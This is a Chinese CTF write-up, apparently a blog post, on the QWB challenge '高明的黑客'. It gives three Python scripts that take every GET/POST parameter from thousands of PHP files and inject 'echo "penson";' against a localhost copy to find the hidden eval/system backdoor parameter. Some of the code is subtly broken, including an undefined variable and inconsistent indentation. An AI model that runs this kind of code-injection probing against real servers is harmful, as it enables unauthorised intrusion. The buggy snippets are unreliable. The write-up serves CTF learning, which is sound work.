强网杯高明的黑客

在这里插入图片描述
下载源码,发现里面有3002个文件,随便打开一个文件看看
在这里插入图片描述

可以发现里面有很多没用的参数,打开其他文件也是如此,既然有这么多文件,是不是需要遍历文件,来获取可用的请求参数呢,例如eval,system等函数

在本地搭个环境跑
我参考了这篇文章的思路
就是一次发送所有的请求,再找到可用的参数
之前我是慢慢遍历,真的没用,以后得多练练编程思路
放上我根据那篇文章的思路写的脚本,大概用了5分钟。。。。。
这个版本是普通版本的,下面有进程池和线程池版本的,原理都差不多,大概用了2分钟不到

import requests
import re
import os
import time

#初始化变量
t1 = time.time()   #设置开始时间
url ="http://localhost/src/"  #初始化url
files = os.listdir("src/") #打开文件夹里的文件,并将文件以列表形式返回
s = requests.Session()   #实例化一个会话保持对象
s.keep_alive =False



'''

实现主要逻辑
1、先找到当前php文件的get,post所有参数
2、一次性发送所有的参数,看看能否输出想要的内容
3、如果有,遍历所有的get参数,post参数,找到想要的参数
备注:
在本地搭php环境,版本必须7.0以上,否则不能输出想要的内容


requests.Session()的讲解
http://2.python-requests.org/zh_CN/latest/user/advanced.html

'''
def run(file):
    print("开始尝试,当前文件为:",file,"当前时间为:",time.strftime("%H:%M:%S",time.localtime())) #输出当前的文件和当前时间

    #打开文件找到的get或者post请求并放到列表里
    with open("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src/" + file, encoding="utf-8") as f:
        content = f.readlines()
        gets = re.findall("\$_GET\[\'(.*?)\'\]", str(content))
        posts = re.findall("\$_POST\[\'(.*?)\'\]", str(content))

    #初始化字典,以便于一次性请求所有的参数
    params = {}  #初始化get请求
    data = {}   #初始化post请求


    #找到的get参数赋值为输出penson
    for find1 in gets:
        params[find1] ='echo "penson";'

    #找到的post参数赋值为输出penson
    for find2 in posts:
        data[find2] = 'echo "penson";'



    #向当前的文件发送所有的请求
    url = "http://localhost/src/"+file
    r = s.post(url,params=params,data=data)  #请求发送get参数和post参数
    r.close()    #关闭内存
    r.encoding='utf-8'   #utf-8编码,不然可能找不到

    # 如果发现这个文件里有penson
    if "penson" in r.text:
        found = 0
        #遍历发送get请求,如果找到就退出程序
        for get in gets:
            new_url = url + '?{}={}'.format(get,'echo "penson";')
            r = s.get(new_url)
            r.close()
            if "penson" in r.text:
                found =1
                t2 = time.time()
                print("find it",new_url)
                print(time.strftime("%H:%M:%S",time.localtime()))
                print("一共用时",time.strftime("%M:%S",time.localtime(t2-t1)))
                exit()

        #如果没找到,遍历发送post请求
        if found == 0:
            for post in posts:
            	data2={}
            	data2[post] = 'echo "penson"'
                r = s.post(url,data=data2)
                r.close()
                if "penson" in r.text:
                    found =1
                    t2 = time.time()
                    print("find it",url,"post:",post)
                    print(time.strftime("%H:%M:%S",time.localtime()))
                    print("一共用时", time.strftime("%M:%S", time.localtime(t3 - t1)))
                    exit()




for file in files:
	run(file)

多进程版本

import requests
import re
import os
import time
import sys
from multiprocessing import Pool

s = requests.Session()



def find_get(file,t1):
    print("开始尝试,当前文件为:", file, "当前时间为:", time.strftime("%H:%M:%S", time.localtime()))  # 输出当前的文件和当前时间

    # 打开文件找到的get或者post请求并放到列表里
    with open("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src/" + file, encoding="utf-8") as f:
        content = f.readlines()
        gets = re.findall("\$_GET\[\'(.*?)\'\]", str(content))

    # 初始化字典,以便于一次性请求所有的参数
    params = {}  # 初始化get请求
    for find_get in gets:
        params[find_get] = 'echo "penson";'

    url = "http://localhost/src/"+file
    r = s.get(url,params=params)
    r.close()

    if "penson" in r.text:
        for get in gets:
            new_url = url + '?{}={}'.format(get, 'echo "penson";')
            r = s.get(new_url)
            r.close()
            if "penson" in r.text:
                print("find it", new_url)
                return new_url



def find_post(file,t1):
    print("开始尝试,当前文件为:", file, "当前时间为:", time.strftime("%H:%M:%S", time.localtime()))  # 输出当前的文件和当前时间

    # 打开文件找到的get或者post请求并放到列表里
    with open("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src/" + file, encoding="utf-8") as f:
        content = f.readlines()
        posts = re.findall("\$_POST\[\'(.*?)\'\]", str(content))

    data = {}  # 初始化post请求

    for find_post in posts:
        data[find_post] = 'echo "penson";'

    url = "http://localhost/src/" + file
    r = s.post(url,data=data)
    r.close()


    if "penson" in r.text:
        for post in posts:
            data2={}
            data2[post] = 'echo "penson"'
            r = s.post(url,data=data2)
            r.close()
            if "penson" in r.text:
                print("find it", url,"post:",data[post])
                new_url = url +'post'+file
                return new_url


text =[]
def callback(n):
    text.append(n)



if __name__ == '__main__':
    files = os.listdir("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src")
    p = Pool(10)
    t1 = time.time()
    for file in files:
        p.apply_async(find_get,args=(file,t1),callback=callback)

    p.close()
    p.join()

    for i in text:
        if i == None:
            continue
        else:
            print(i,"\n一共用时:{}".format(time.strftime("%M:%S", time.localtime(time.time() - t1))))





多线程版

from multiprocessing.pool import ThreadPool
import requests
import re
import os
import time


s = requests.Session()



def find_get(file,t1):
    print("开始尝试,当前文件为:", file, "当前时间为:", time.strftime("%H:%M:%S", time.localtime()))  # 输出当前的文件和当前时间

    # 打开文件找到的get或者post请求并放到列表里
    with open("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src/" + file, encoding="utf-8") as f:
        content = f.readlines()
        gets = re.findall("\$_GET\[\'(.*?)\'\]", str(content))

    # 初始化字典,以便于一次性请求所有的参数
    params = {}  # 初始化get请求
    for find_get in gets:
        params[find_get] = 'echo "penson";'

    url = "http://localhost/src/"+file
    r = s.get(url,params=params)
    r.close()

    if "penson" in r.text:
        for get in gets:
            new_url = url + '?{}={}'.format(get, 'echo "penson";')
            r = s.get(new_url)
            r.close()
            if "penson" in r.text:
                t2 = time.time()
                print("一共用时", time.strftime("%M:%S", time.localtime(t2 - t1)))
                print("find it", new_url)
                os._exit(0)



def find_post(file,t1):
    print("开始尝试,当前文件为:", file, "当前时间为:", time.strftime("%H:%M:%S", time.localtime()))  # 输出当前的文件和当前时间

    # 打开文件找到的get或者post请求并放到列表里
    with open("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src/" + file, encoding="utf-8") as f:
        content = f.readlines()
        posts = re.findall("\$_POST\[\'(.*?)\'\]", str(content))

    data = {}  # 初始化post请求

    for find_post in posts:
        data[find_post] = 'echo "penson";'

    url = "http://localhost/src/" + file
    r = s.post(url,data=data)
    r.close()


    if "penson" in r.text:
        for post in posts:
            data2={}
            data2[post] = 'echo "penson"'
            r = s.post(url,data=data2)
            r.close()
            if "penson" in r.text:
                print("find it", url,"post:",data[post])
                os._exit(0)
         




if __name__ == '__main__':
    files = os.listdir("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src")
    pool = ThreadPool(10)
    t1 = time.time()
    for file in files:
        pool.apply_async(find_get,args=(file,t1,))

    pool.close()
    pool.join()


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值